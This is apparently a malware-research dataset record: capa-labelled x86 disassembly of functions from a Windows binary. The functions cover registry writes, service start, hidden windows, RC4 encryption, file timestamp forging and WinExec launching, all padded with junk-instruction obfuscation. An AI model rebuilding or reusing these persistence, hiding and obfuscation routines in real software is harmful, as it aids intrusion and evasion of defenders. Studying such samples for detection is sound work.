joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402d40
Capabilities:
Create process on windows
Enumerate gui resources
Get common file path
Get program files directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
push ebx
push esi
push edi
push edx
cmp dl, al
and dl, 0x4e
or dl, 0x38
and dl, al
and edx, eax
xor dh, 0x3c
add dh, bh
or edx, 0x604
add dh, dl
pop edx
call fcn.00401d80
push eax
push dx
inc eax
pop dx
pop eax
call fcn.00402530
test eax, eax
je 0x402f20
jb 0x402d9e
push esi
mov esi, 0xb484b386
pop esi
jae 0x402d9e
out 0xbd, eax
retf
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x25f]
mov byte [ebp - 0x260], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
lea eax, [ebp - 0x260]
push 0x26
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x402f20
push eax
push ebx
push ecx
mov cl, 0x6d
inc ebx
pop ecx
pop ebx
pop eax
call fcn.00404910
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x15b]
mov byte [ebp - 0x15c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push eax
push edx
push esi
test si, 0x2af8
xor edx, ecx
add ax, bx
or ax, 0x11a9
pop esi
pop edx
pop eax
push 3
lea ecx, [ebp - 0x260]
push 0x41938c
push ecx
lea edx, [ebp - 0x15c]
push 0x4193ac
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x14
mov dword [ebp - 0x14], ebx
jmp 0x402e3e
xor ebx, ebx
mov ecx, 0x11
xor eax, eax
lea edi, [ebp - 0x58]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x2c], 1
mov dword [ebp - 8], eax
mov word [ebp - 0x28], bx
mov dword [ebp - 4], eax
push ebx
push cx
push dx
xor ch, bl
pop dx
pop cx
pop ebx
lea ecx, [ebp - 0x10]
lea edx, [ebp - 0x58]
push ecx
push edx
push eax
push eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x15c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402f20
jl 0x402eae
push cx
mov ch, 0xcc
pop cx
jge 0x402eae
xchg esi, eax
xor esp, dword [ebx + 0x68]
mov eax, 0xff00000b
salc
push 0xbb8
call esi
mov ecx, dword [ebp - 8]
push ecx
push 0x402c30
call dword [sym.imp.USER32.dll_EnumWindows]
push eax
push dx
inc eax
pop dx
pop eax
mov edx, dword [ebp - 0x10]
push 0x3e8
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x402eed
mov eax, dword [ebp - 0x10]
push 1
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jbe 0x402efe
xchg ecx, ecx
xchg dl, dl
ja 0x402efe
pop eax
mov ecx, dword [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call edi
mov edx, dword [ebp - 0x10]
push edx
call edi
mov eax, dword [ebp - 0x14]
inc eax
cmp eax, 1
mov dword [ebp - 0x14], eax
jl 0x402e3c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402f40
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
xor edx, edx
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x267]
mov byte [ebp - 0x268], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x163]
mov byte [ebp - 0x164], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
mov ebx, 1
cmp eax, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], ebx
je 0x402f99
mov dword [ebp - 0x10], ebx
jo 0x402fa7
push ecx
mov ecx, 0x9bcdcc09
pop ecx
jno 0x402fa7
inc eax
movsd dword es:[edi], dword [esi]
mov edx, 0x8b08758b
cmp eax, sym.imp.MSVCRT.dll_sprintf
mov esi, dword [ebp + 8]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push esi
lea eax, [ebp - 0x164]
push 0x41908c
push eax
call edi
add esp, 0xc
lea ecx, [ebp - 0x268]
push esi
push 0x4190a4
push ecx
call edi
lea eax, [ebp - 0x164]
lea ecx, [ebp - 8]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x44], ecx
lea eax, [ebp - 4]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
lea edi, [ebp - 0x164]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, esi
mov dword [ebp - 0x24], ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
mov edx, 4
dec ecx
mov dword [ebp - 0x38], 0x4190cc
mov dword [ebp - 0x34], 0x4190d8
mov dword [ebp - 0x30], 0x4190e4
mov dword [ebp - 0x2c], 0x4190f4
mov dword [ebp - 0x28], 0x4190fc
mov dword [ebp - 0x60], 2
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edx
pushal
test cx, ax
inc ax
popal
mov eax, dword [ebp - 0x10]
cmp eax, 5
jae 0x4030a0
mov edi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
lea esi, [eax*4]
mov edx, dword [ebp + esi - 0x24]
mov eax, dword [ebp + esi - 0x4c]
mov ecx, dword [ebp + esi - 0x60]
push edx
mov edx, dword [ebp + esi - 0x38]
push eax
push ecx
lea eax, [ebp - 0x268]
push edx
push eax
push SysStringLen
call edi
test eax, eax
jne 0x4030ac
add esi, 4
cmp esi, 0x14
jb 0x403072
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403170
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push ebx
add bx, ax
mov bx, 0x6602
and bh, dl
pop ebx
call fcn.00404960
mov dword [0x423604], eax
push eax
test edx, eax
cmp eax, ecx
pop eax
mov eax, dword [ebp + 8]
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp + 8], esi
jne 0x4031c1
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
and bx, cx
pop ebx
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 4]
push 0
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4031e6
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push cx
push dx
push eax
cmp dx, cx
inc eax
or cx, cx
inc al
inc cx
test al, 0x3b
and ch, al
mov eax, edx
and cx, 0x7bc9
pop eax
pop dx
pop cx
mov eax, dword [0x423604]
test eax, eax
je 0x403222
push esi
call fcn.004030c0
add esp, 4
neg eax
sbb eax, eax
inc eax
mov dword [0x423604], eax
push bx
push si
push edi
or edi, 0x3f3c
and si, cx
pop edi
pop si
pop bx
mov esi, dword [ebp + 8]
push esi
push 0
call fcn.00404100
add esp, 8
jl 0x403264
push dx
mov dx, 0x642f
pop dx
jge 0x403264
out 0xc4, eax
push ds
xor dl, cl
cld
push ss
stosd dword es:[edi], eax
jo 0x403265
push edx
cmp bh, byte [eax]
mov eax, dword [0x423604]
test eax, eax
jne 0x403274
add al, 0x36
inc edx
add byte [ebp + 0x560775c0], al
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4034b0
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
jo 0x4034cc
mov dx, dx
nop
xchg cx, cx
jno 0x4034cc
mov al, 0x98
and ecx, dword [ecx - 0x7834e8a9]
mov ecx, 0x458b5d21
or al, 0x8b
dec ebp
or byte [eax - 1], ch
add dword [edi], ecx
add byte [eax + 0x51], dl
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4034e9
pop edi
pop esi
pop ebp
ret
push edx
push cx
push di
or dh, 6
or cl, 0x58
xor dl, dl
inc ch
test ax, cx
dec di
mov edx, 0x33a8
and cx, di
add dx, 0x64c0
pop di
pop cx
pop edx
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x403545
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp eax, 0x420
je 0x403545
call edi
cmp eax, 0x422
je 0x403545
push esi
xor edi, edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
pop ebp
ret
push esi
mov edi, 1
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x403590
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov eax, dword [0x423608]
sub esp, 0x82c
push ebx
xor ebx, ebx
cmp eax, ebx
jne 0x4035ac
xor eax, eax
pop ebx
add esp, 0x82c
ret
xor eax, eax
push ebp
mov dword [esp + 9], eax
push esi
mov dword [esp + 0x11], eax
push edi
mov dword [esp + 0x19], eax
mov ecx, 0x40
mov word [esp + 0x1d], ax
lea edi, [esp + 0x2d]
mov byte [esp + 0x1f], al
mov byte [esp + 0x2c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x131]
mov byte [esp + 0x130], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x43d]
mov byte [esp + 0x43c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x338]
push 0x104
push ecx
mov byte [esp + 0x18], bl
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x130]
push 0x104
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x10]
push 6
push eax
call fcn.00404bc0
add esp, 8
lea ecx, [esp + 0x10]
lea edx, [esp + 0x338]
lea eax, [esp + 0x234]
push ecx
push edx
push 0x4192e4
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
mov dword [esp + 0x20], 0x41935c
mov dword [esp + 0x24], 0x419360
mov dword [esp + 0x28], 0x41936c
lea edx, [esp + 0x20]
mov ebp, 3
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [esp + 0x2c]
repne scasb al, byte es:[edi]
mov edi, dword [edx]
add edx, 4
not ecx
dec ecx
mov byte [esp + ecx + 0x2c], 0xa
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
dec ebp
rep movsb byte es:[edi], byte [esi]
jne 0x40368a
movsx ecx, byte [esp + 0x338]
lea edx, [esp + 0x130]
push ecx
lea eax, [esp + 0x134]
push edx
lea ecx, [esp + 0x34]
push eax
lea edx, [esp + 0x448]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x450]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x450]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x419384
mov byte [esp + ecx + 0x450], 0xa
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x450]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x450]
push ecx
push eax
lea ecx, [esp + 0x250]
push 0x4192e0
push ecx
call fcn.00402440
add esp, 0x24
test eax, eax
pop edi
pop esi
pop ebp
jne 0x40377c
pop ebx
add esp, 0x82c
ret
lea edx, [esp + 0x228]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, 1
pop ebx
add esp, 0x82c
ret
Function at 0x403810
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x31c
push ebx
push esi
mov esi, 0x104
push edi
mov dword [ebp - 0xc], esi
push dx
push eax
or ax, 0x4297
and ax, 0x45c0
test esi, eax
test dh, al
cmp dl, 0x51
pop eax
pop dx
lea eax, [ebp - 0xc]
lea ecx, [ebp - 0x218]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x403855
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
push eax
push ecx
push edx
cmp dh, dl
or ecx, ecx
test ah, al
xor ecx, 0xc4
test dh, al
cmp ch, bl
or cx, 0x7720
xor ecx, 0x4eb4
and ecx, 0x218b
and dl, bl
pop edx
pop ecx
pop eax
lea edx, [ebp - 0x10]
lea eax, [ebp - 8]
push edx
lea ecx, [ebp - 0x31c]
push eax
lea edx, [ebp - 4]
push ecx
lea eax, [ebp - 0x114]
push edx
lea ecx, [ebp - 0x218]
push eax
push ecx
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x4038b8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
sub ebx, 0xe88
test ecx, esi
dec ch
test bh, 0x2a
or ah, 0x12
sub bh, dh
or ax, ax
or al, 0x2f
cmp ch, 5
popal
mov edx, dword [ebp + 8]
lea eax, [ebp - 0x114]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidA]
test eax, eax
jne 0x4038f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push ebx
push edx
xor bx, si
and dl, 0x7f
dec bh
test bh, 0xd
pop edx
pop ebx
pop eax
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404100
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x22f]
mov byte [ebp - 0x230], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x12b]
mov byte [ebp - 0x12c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [ebp - 0x230]
push 0x104
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jbe 0x40416d
push eax
pop eax
ja 0x40416d
pop esi
fisubr dword [ecx + 0x7a96ed64]
dec esp
lea edi, [ebp - 0x230]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x12c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jb 0x4041ad
nop
nop
mov edi, edi
xchg dl, dl
jae 0x4041ad
adc ebx, dword [ebx + edx*4 + 0x69]
mov edi, 0x419048
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x12c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
push esi
push dx
inc dl
xor bl, dl
inc si
cmp dx, 0x676a
xor bx, 0x35f8
cmp esi, 0x222c
pop dx
pop esi
pop ebx
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x12c]
push eax
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
mov edi, dword [ebp + 0xc]
cmp edi, 0xffffffff
jne 0x404231
mov edx, dword [ebp + 8]
push edx
call fcn.004048d0
mov esi, eax
add esp, 4
cmp esi, edi
jne 0x404234
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 4]
push eax
cmp al, bl
inc ah
test si, ax
test esi, eax
pop eax
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x24]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
cmp edi, 0xffffffff
jne 0x40425e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x404330
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push 0
push eax
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x42360c
push 0x4235d0
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
test eax, eax
jne 0x404368
pop ebp
ret
js 0x404378
mov edx, edx
jns 0x404378
sub eax, 0x1bf31dd6
xchg esi, eax
and byte [ebx], 0xc3
cmp dword [edx], ebp
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, 1
pop ebp
ret
Function at 0x404400
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
jbe 0x404417
mov di, di
xchg edi, edi
ja 0x404417
and eax, 0xe2f4cc58
jbe 0x404425
mov di, di
xchg edi, edi
ja 0x404425
and eax, 0xe2f4cc58
push edx
push bx
cmp edx, esi
inc dl
cmp dh, cl
mov edx, 0x5a9c
test dx, bx
test edx, 0x5a77
inc bl
and dh, 0x55
xor bl, dh
pop bx
pop edx
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
push 7
push 0x419054
push eax
push ecx
call fcn.00402320
add esp, 0x10
mov dword [ebp - 4], eax
test eax, eax
jne 0x40446b
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
test cx, ax
inc ax
popal
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x23]
mov byte [ebp - 0x24], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.MSVCRT.dll_rand]
xor esi, esi
push ebx
push ecx
or bl, ah
sub cl, 0x27
cmp bh, 8
and cx, 0x784f
and bx, 0x94f
pop ecx
pop ebx
call edi
and eax, 0x800000ff
jns 0x4044b3
dec eax
or eax, 0xffffff00
inc eax
mov byte [ebp + esi - 0x24], al
inc esi
cmp esi, 0x20
jb 0x40448d
jbe 0x4044cb
mov di, di
xchg edi, edi
ja 0x4044cb
and eax, 0xe2f4cc58
mov eax, dword [ebp - 4]
mov ecx, 8
lea esi, [ebp - 0x24]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
js 0x4044ea
mov edx, edx
jns 0x4044ea
sub eax, 0x1bf31dd6
xchg esi, eax
and byte [ebx], 0xc3
cmp dword [ebx - 0x74afefb3], ecx
inc ebp
adc al, 0x8d
push ebp
fsubr qword [edx + 0x20]
mov ecx, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0x14]
lea edx, [ebp - 0x24]
push 0x20
push edx
mov edx, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push ecx
push edx
push eax
call fcn.00404590
add esp, 0x1c
push edx
push ax
sub edx, eax
cmp dx, cx
add edx, 0x1ab
xor ax, 0x2160
test bh, dl
test di, dx
pop ax
pop edx
mov ecx, dword [ebp + 0x1c]
mov edx, dword [ebp + 0x18]
push ecx
push edx
call fcn.004049f0
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404ce0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x20f]
mov byte [ebp - 0x210], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push edx
cmp dl, al
and dl, 0x4e
or dl, 0x38
and dl, al
and edx, eax
xor dh, 0x3c
add dh, bh
or edx, 0x604
add dh, dl
pop edx
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x210]
push ecx
push edx
lea eax, [ebp - 0x10c]
push 0x419024
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push eax
test eax, 0x7cbd
sub ah, bl
cmp eax, 0x2aed
add ah, 0x4d
and eax, 0x26ae
dec ax
pop eax
lea ecx, [ebp - 8]
lea edx, [ebp - 4]
push ecx
push edx
call fcn.00401220
add esp, 8
pushal
inc si
dec dh
cmp al, bl
and ah, 0x4d
or dl, 0x4d
sub si, si
popal
mov eax, dword [ebp - 4]
push eax
call fcn.00404e20
jo 0x404dcd
push edx
mov dx, 0xbd71
pop edx
jno 0x404dcd
popal
stosd dword es:[edi], eax
retf
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
push ecx
lea eax, [ebp - 0x10c]
push edx
push eax
call fcn.00403170
add esp, 0x10
test eax, eax
jne 0x404def
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ecx
cmp cl, 0x3f
or ch, dl
cmp cx, cx
or ch, 0x1f
pop ecx
lea ecx, [ebp - 0x10c]
push 0xffffffffffffffff
push ecx
call fcn.00404100
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404e20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push edi
push ax
push dx
and ax, 0x4e68
test ch, dh
mov al, 0x4d
dec dx
and dx, cx
pop dx
pop ax
pop edi
mov esi, dword [ebp + 8]
cmp word [esi], 0x5a4d
je 0x404e51
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push ecx
inc al
sub ah, cl
dec eax
cmp cl, cl
cmp ch, dh
test ch, 0
or cx, bx
test ah, 0x35
test ax, 0x637b
pop ecx
pop eax
mov ecx, dword [esi + 0x3c]
add ecx, esi
push ebx
test ebx, 0x2fbf
cmp bh, ch
add bh, 0x30
pop ebx
cmp dword [ecx], 0x4550
je 0x404e8e
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
cmp ax, cx
and ah, dh
cmp ah, 0x3f
add ax, ax
or eax, edx
xor ah, 0x6c
xor ax, bx
pop eax
mov eax, dword [ecx + 0x58]
test eax, eax
je 0x404eb3
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, 0x40
push eax
push edx
push edi
add dl, dh
pop edi
pop edx
pop eax
push ecx
xor ecx, 0x6dd
inc cx
cmp cl, 0x23
add ch, al
xor ecx, edx
cmp cl, cl
test ch, 0x2b
cmp cx, cx
cmp ch, 0x51
or ecx, ecx
pop ecx
cmp dword [esi + 0x3c], 0x80
ja 0x404ef0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jb 0x404f08
push di
pop di
jae 0x404f08
scasb al, byte es:[edi]
bound eax, qword [edx]
pushfd
dec esi
call 0x1018ae7a
test byte [eax + ebx - 0x7f], 0x4b
lea ecx, [ebx - 0x17ec38a]
rol byte [eax], 0
add byte [ebx + 3], dh
mov esi, dword [esi + 0x3c]
cmp esi, 0xc0
jae 0x404f16
lea ebx, [esi - 0x80]
push dx
push eax
or ax, 0x4297
and ax, 0x45c0
test esi, eax
test dh, al
cmp dl, 0x51
pop eax
pop dx
push ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
add esp, 4
test esi, esi
mov dword [ebp - 4], esi
jne 0x404f44
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push cx
push dx
push eax
cmp dx, cx
inc eax
or cx, cx
inc al
inc cx
test al, 0x3b
and ch, al
mov eax, edx
and cx, 0x7bc9
pop eax
pop dx
pop cx
xor edi, edi
test ebx, ebx
jbe 0x404f91
jle 0x404f7a
push si
pop si
jg 0x404f7a
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
inc edi
cmp edi, ebx
mov byte [edi + esi - 1], dl
jb 0x404f6a
jo 0x404fb5
push dx
mov dx, 0x7a78
pop dx
jno 0x404fb5
insb byte es:[edi], dx
mov bl, 0xbc
ja 0x405020
fdiv qword [eax - 0x7f6a6a73]
push 0x56
mov bh, byte [ecx]
mov eax, 0x8b08558b
retf
mov edx, dword [ebp + 8]
mov ecx, ebx
mov eax, ecx
lea edi, [edx + 0x80]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push edx
push bx
cmp edx, esi
inc dl
cmp dh, cl
mov edx, 0x5a9c
test dx, bx
test edx, 0x5a77
inc bl
and dh, 0x55
xor bl, dh
pop bx
pop edx
mov ecx, dword [ebp - 4]
push ecx
call 0x405020
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jmp dword [sym.imp.MSVCRT.dll_void___cdecl_operator_delete_void__]
Function at 0x10001000
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10012004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
mov dword [ebp - 8], edi
cmp esi, 0xffffffff
jne 0x1000104b
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001409
mov esp, ebp
pop ebp
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [0x1001330c], eax
call fcn.10001417
add esp, 4
mov dword [0x10013310], eax
lea ecx, [ebp - 8]
push 0
push ecx
push dword [0x1001330c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10001087
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.10001409
mov esp, ebp
pop ebp
ret